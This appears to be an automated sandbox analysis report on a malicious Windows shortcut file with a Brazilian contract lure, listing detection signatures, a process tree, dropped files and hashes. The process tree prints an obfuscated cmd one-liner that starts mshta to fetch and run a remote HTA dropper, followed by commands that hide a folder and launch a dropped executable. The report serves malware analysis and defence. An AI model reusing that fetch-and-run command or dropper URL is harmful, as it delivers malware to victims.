Analysis

  • max time kernel
    27s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 12:47

General

  • Target
    Contrato_Indeniza_Brasil-5LP0LX.lnk
  • Size 1KB
  • Sample260803-pz95jayand
  • SHA256 8b50a3fde282b83efc693a8e69fc0eb90394d32b7ce4f9f007b2e391f179493d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 20 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-5LP0LX.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2344
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /C "set JO=msh&&set De=ta&&start "" !JO!!De! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3332
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4792
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:3088
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1772
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2204
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:1252
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:4172
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:256
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:556
            • C:\Windows\System32\attrib.exe
              "C:\Windows\System32\attrib.exe" +h +s "C:\fkulvamz\"
              4⤵
              • Views/modifies file attributes
              PID:3644
            • C:\fkulvamz\fkulvamz.exe
              "C:\fkulvamz\fkulvamz.exe" C:\fkulvamz\fkulvamz
              4⤵
                PID:5036
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                  PID:1104
                  • C:\Windows\system32\rundll32.exe
                    C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                    5⤵
                      PID:5632
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                    4⤵
                    • Executes a command shell one-liner
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:4304
                    • C:\Windows\System32\PING.EXE
                      ping -n 300 -w 1000 127.0.0.1
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:4336

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  103621DE9CD5414CC2538780B4B75751

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                  • Size 808B
                  • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                  • MD5 SHA1 SHA512 TLSH

                  1B1495DD322A24490E2BF2FAABAE1C61

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
                  • Size 355B
                  • SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
                  • MD5 SHA1 SHA512 TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 283B
                  • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                  • MD5 SHA1 SHA512 TLSH

                  9DD9D8EB1173CB9DA0F6DAA87673F76F

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
                  • Size 35KB
                  • SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  103621DE9CD5414CC2538780B4B75751

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                  • Size 192B
                  • SHA256 26b36760d177cdeec1ed27386dc497192119a28a43292196df230169303d7e29
                  • MD5 SHA1 SHA512 TLSH

                  1B1495DD322A24490E2BF2FAABAE1C61

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
                  • Size 192B
                  • SHA256 abf7d7342a55484850043d273d8e326de08945f8b1bb9db1e4c8e0e9ceb48bde
                  • MD5 SHA1 SHA512 TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 192B
                  • SHA256 ccca785a9b4d038bcebff3481cd16c4d093f2fdded584d51e73ed89439763cb7
                  • MD5 SHA1 SHA512 TLSH

                  9DD9D8EB1173CB9DA0F6DAA87673F76F

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
                  • Size 246B
                  • SHA256 a0b66bb09fe3b7da719c07daaeb9202e4923b754173ae2135a64002b7a9db8d6
                  • MD5 SHA1 SHA512 TLSH

                  a1.zip

                  • Path C:\fkulvamz\a1.zip
                  • Size 494KB
                  • SHA256 9b7b4f8e18fec40040e4f443d758698c494da07485f3a2af5d9a1ccc523f59b3
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a2.zip

                  • Path C:\fkulvamz\a2.zip
                  • Size 1.3MB
                  • SHA256 3a304d479a4ea2a299b7c6684ce96910e7c62fb9b0b30e26216652975ef72415
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a3.zip

                  • Path C:\fkulvamz\a3.zip
                  • Size 2KB
                  • SHA256 a695739789ad5167ed694902f99babb8947a933b0722d47ec680da48497c4882
                  • MD5 SHA1 SHA512 TLSH

                  fkulvamz

                  • Path C:\fkulvamz\fkulvamz
                  • Size 1.3MB
                  • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  fkulvamz.exe

                  • Path C:\fkulvamz\fkulvamz.exe
                  • Size 957KB
                  • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/4168-47-0x0000024A027C0000-0x0000024A02964000-memory.dmp

                  memory/4168-127-0x0000024A027C0000-0x0000024A02964000-memory.dmp

                  memory/4168-128-0x0000024A029A0000-0x0000024A02A39000-memory.dmp

                  memory/4168-48-0x0000024A029A0000-0x0000024A02A39000-memory.dmp

                  memory/5036-119-0x0000000000400000-0x00000000005C7000-memory.dmp